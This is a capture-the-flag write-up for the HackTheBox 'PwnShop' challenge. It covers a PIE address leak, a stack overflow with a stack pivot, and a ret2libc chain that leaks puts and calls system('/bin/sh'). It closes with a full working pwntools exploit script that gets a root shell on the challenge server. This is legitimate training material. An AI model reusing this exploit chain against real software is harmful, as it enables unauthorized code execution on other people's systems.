Skip to content

PwnShop

🏷 pwn

Intro to Binary Exploitation htb-pwn piebase stack pivot ret2libc


HTB Console.zip
🔑 hackthebox

Binary Info

$ file pwnshop
pwnshop: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=e354418962cffebad74fa44061f8c58d92c0e706, for GNU/Linux 3.2.0, stripped

$ checksec --file=pwnshop
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH  Symbols     FORTIFY Fortified   Fortifiable FILE
Partial RELRO   No canary found   NX enabled    PIE enabled     No RPATH   No RUNPATH   No Symbols    No    0       2       pwnshop
  • NX Enabled
  • PIE Enabled

Function

undefined  [16] FUN_001010a0(void)

{
  int iVar1;
  ulong in_RCX;
  char cVar2;

  FUN_0010121e();
  puts("========= HTB PwnShop ===========");
  while( true ) {
    while( true ) {
      puts("What do you wanna do?");
      printf("1> Buy\n2> Sell\n3> Exit\n> ");
      iVar1 = getchar();
      getchar();
      cVar2 = (char)iVar1;
      if (cVar2 != '2') break;
      FUN_0010126a();
    }
    if (cVar2 == '3') break;
    if (cVar2 == '1') {
      FUN_0010132a();
    }
    else {
      puts("Please try again.");
    }
  }
  return ZEXT816(in_RCX) << 0x40;
}
void FUN_0010132a(void)

{
  undefined auStack72 [72];

  puts("Sorry, we aren\'t selling right now.");
  printf("But you can place a request. \nEnter details: ");
  read(0,auStack72,0x50);
  return;
}
void FUN_0010126a(void)

{
  int iVar1;
  long lVar2;
  undefined4 *puVar3;
  byte bVar4;
  undefined4 auStack72 [8];
  undefined8 local_28;
  undefined4 *local_20;

  bVar4 = 0;
  local_20 = &DAT_001040c0;
  printf("What do you wish to sell? ");
  local_28 = 0;
  puVar3 = auStack72;
  for (lVar2 = 8; lVar2 != 0; lVar2 = lVar2 + -1) {
    *puVar3 = 0;
    puVar3 = puVar3 + (ulong)bVar4 * -2 + 1;
  }
  read(0,auStack72,0x1f);
  printf("How much do you want for it? ");
  read(0,&local_28,8);
  iVar1 = strcmp((char *)&local_28,"13.37\n");
  if (iVar1 == 0) {
    puts("Sounds good. Leave details here so I can ask my guy to take a look.");
    puVar3 = local_20;
    for (lVar2 = 0x10; lVar2 != 0; lVar2 = lVar2 + -1) {
      *puVar3 = 0;
      puVar3 = puVar3 + (ulong)bVar4 * -2 + 1;
    }
    read(0,local_20,0x40);
  }
  else {
    printf("What? %s? The best I can do is 13.37$\n",&local_28);
  }
  return;
}

Run Program

$ cyclic 100    
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa

$ ./pwnshop 
========= HTB PwnShop ===========
What do you wanna do?
1> Buy
2> Sell
3> Exit
> 1
Sorry, we aren't selling right now.
But you can place a request. 
Enter details: aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
zsh: segmentation fault  ./pwnshop

$ uaaavaaawaaaxaaayaaa
uaaavaaawaaaxaaayaaa: command not found

$ cyclic -l uaaa
80

$ ./pwnshop
========= HTB PwnShop ===========
What do you wanna do?
1> Buy
2> Sell
3> Exit
> 2
What do you wish to sell? test
How much do you want for it? aaaabbbb
What? aaaabbbb��UUUU? The best I can do is 13.37$
What do you wanna do?
1> Buy
2> Sell
3> Exit
> 

from running the program, we can get that buy has offset 80 character, and sell has vuln output strings aaaabbbb��UUUU

Idea

Leak binary address

from sell, we have local_20 = &DAT_001040c0; and read(0,&local_28,8); that we can exploit

string aaaabbbb��UUUU has vuln on ��UUUU, that the address of .bss(local_20) which is the next value of local_28

we need to get hex of ��UUUU, then substact with 0x40c0(local_28 offset address) so that we can get the piebase address

io.recv().decode()
io.sendline(b'2')
io.recv().decode()
io.sendline(b'test')
io.recv().decode()
leak_pad = b'a'*8
io.send(leak_pad)
resp = io.recv()
binary_offset = resp.split(leak_pad)[1]
binary_offset = binary_offset.split(b'?')[0]
binary_offset = bytearray(binary_offset).ljust(8, b'\x00')
binary_offset = u64(binary_offset, endian="little")
binary_offset -= 0x40c0 # got from local_20 = &DAT_001040c0;
print('piebase :',hex(binary_offset))

Leaking LIBC

from buy, we have buffer overflow 80 characters, we can use it for leaking the libc address.

we can add payload like image bellow, run in GDB and put break point at buy return so that we can know the process behind (not so necessary).

the main idea is print(puts) the libc address, we can use pop_rdi to store the parameter (got_puts) and call plt_puts. we use got_puts because it stores puts_libc address. buy function because we need to continue our program, we dont want to stop(segmentation fault) our program

$ ropper --file pwnshop --search "pop rdi"
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop rdi

[INFO] File: pwnshop
0x00000000000013c3: pop rdi; ret;

$ ropper --file pwnshop --search "sub"
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: sub

[INFO] File: pwnshop
0x000000000000121a: sub esp, 0x28; ret; 
0x00000000000013dd: sub esp, 8; add rsp, 8; ret; 
0x0000000000001005: sub esp, 8; mov rax, qword ptr [rip + 0x2fd9]; test rax, rax; je 0x1016; call rax; 
0x0000000000001219: sub rsp, 0x28; ret; 
0x00000000000013dc: sub rsp, 8; add rsp, 8; ret; 
0x0000000000001004: sub rsp, 8; mov rax, qword ptr [rip + 0x2fd9]; test rax, rax; je 0x1016; call rax;

we will use 0x13c3 as pop_rdi and 0x1219(to get more space in stack) as sub_rsp.

you can get got_puts, plt_puts, and buy_func offset from some tools like ghidra

pop_rdi = p64(binary_offset+0x13c3) 
got_puts = p64(binary_offset+0x4018) 
plt_puts = p64(binary_offset+0x1030) 
buy_func = p64(binary_offset+0x132a) 
padding_to_rop_chain = 40 * b'a'  # 0x50(ret) - 0x28(sub rsp, 0x28; ret)
rop_chain = pop_rdi + got_puts + plt_puts + buy_func
padding_to_stack_pivot = (72 - len(padding_to_rop_chain) - len(rop_chain)) * b'b'
sub_rsp = p64(binary_offset+0x1219) # sub rsp, 0x28; ret

payload = padding_to_rop_chain + rop_chain + padding_to_stack_pivot + sub_rsp
io.sendline(b'1')
io.recv()
io.send(payload)
output = io.recv()

leaked_puts_libc = output[:6]
leaked_puts_libc = bytearray(leaked_puts_libc).ljust(8, b'\x00')
leaked_puts_libc = u64(leaked_puts_libc, endian="little")
print('puts@GLIBC :',hex(leaked_puts_libc))

this will print puts_libc address, then we need to find system and /bin/sh in libc, so that we can run buy again and redirect to system('/bin/sh')

Find offset in LIBC

after running the source code and comparing with remote does, we get

$ python get_flag.py
[+] Starting local process './pwnshop': pid 178594
piebase : 0x555555554000
puts@GLIBC : 0x7ffff7e47e10

$ python get_flag.py
[+] Opening connection to 159.65.19.24 on port 32300: Done
piebase : 0x558f796d4000
puts@GLIBC : 0x7f1baa0eb6a0

the offset is different, it happens because the libc we use can be different from the libc remote, so we need to check what libc remote is using.

https://libc.blukat.me/?q=puts%3A6a0, after trying we know that libc remote uses libc6_2.23-0ubuntu11.2_amd64

with that information, we can define the system and /bin/sh offset. then we can copy the appropriate offset

libc_puts = 0x06f6a0
libc_system = 0x0453a0
libc_sh = 0x18ce17

libc_offset = leaked_puts_libc - libc_puts

system = p64(libc_offset + libc_system)
print('system :', hex(u64(system)))
sh = p64(libc_offset + libc_sh)
print('/bin/sh :', hex(u64(sh)))

send the payload

rop_chain = pop_rdi + sh + system
padding_to_stack_pivot = (72 - len(padding_to_rop_chain) - len(rop_chain)) * b'b'
payload = padding_to_rop_chain + rop_chain + padding_to_stack_pivot + sub_rsp

io.send(payload)

io.interactive()

Exploit

$ python get_flag.py
[+] Opening connection to 159.65.19.24 on port 32300: Done
piebase : 0x5635239db000
puts@GLIBC : 0x7fc5098b46a0
system : 0x7fc50988a3a0
/bin/sh : 0x7fc5099d1e17
[*] Switching to interactive mode
$ id
uid=0(root) gid=0(root) groups=0(root)
$ 

Full Code

⚠ dont just copy paste, learning the basics is more important!

from pwn import *

def main():
    url = "159.65.19.24"
    port = 32300
    io = remote(url, port)
    # io = process('./pwnshop')

    # Step 1: Leak binary address
    io.recv().decode()
    io.sendline(b'2')
    io.recv().decode()
    io.sendline(b'test')
    io.recv().decode()
    leak_pad = b'a'*8
    io.send(leak_pad)
    resp = io.recv()
    binary_offset = resp.split(leak_pad)[1]
    binary_offset = binary_offset.split(b'?')[0]
    binary_offset = bytearray(binary_offset).ljust(8, b'\x00')
    binary_offset = u64(binary_offset, endian="little")
    binary_offset -= 0x40c0 # got from local_20 = &DAT_001040c0;
    print('piebase :',hex(binary_offset))

    # Step 2: Leaking LIBC
    pop_rdi = p64(binary_offset+0x13c3) 
    got_puts = p64(binary_offset+0x4018) 
    plt_puts = p64(binary_offset+0x1030) 
    buy_func = p64(binary_offset+0x132a) 
    padding_to_rop_chain = 40 * b'a'    # 0x50(ret) - 0x28(sub rsp, 0x28; ret)
    rop_chain = pop_rdi + got_puts + plt_puts + buy_func
    padding_to_stack_pivot = (72 - len(padding_to_rop_chain) - len(rop_chain)) * b'b'
    sub_rsp = p64(binary_offset+0x1219) # sup rsp, 0x28; ret

    payload = padding_to_rop_chain + rop_chain + padding_to_stack_pivot + sub_rsp
    io.sendline(b'1')
    io.recv()
    io.send(payload)
    output = io.recv()

    leaked_puts_libc = output[:6]
    leaked_puts_libc = bytearray(leaked_puts_libc).ljust(8, b'\x00')
    leaked_puts_libc = u64(leaked_puts_libc, endian="little")
    print('puts@GLIBC :',hex(leaked_puts_libc))

    # print(output)

    # Step 3: Find offset in LIBC
    ### Local
    # libc_puts = 0x75e10
    # libc_system = 0x49860
    # libc_sh = 0x198882
    ### Remote (libc6_2.23-0ubuntu11.2_amd64)
    libc_puts = 0x06f6a0
    libc_system = 0x0453a0
    libc_sh = 0x18ce17

    libc_offset = leaked_puts_libc - libc_puts

    system = p64(libc_offset + libc_system)
    print('system :', hex(u64(system)))
    sh = p64(libc_offset + libc_sh)
    print('/bin/sh :', hex(u64(sh)))

    # Step 4: Exploit
    rop_chain = pop_rdi + sh + system
    padding_to_stack_pivot = (72 - len(padding_to_rop_chain) - len(rop_chain)) * b'b'
    payload = padding_to_rop_chain + rop_chain + padding_to_stack_pivot + sub_rsp

    io.send(payload)

    io.interactive()

if __name__ == '__main__':
    main()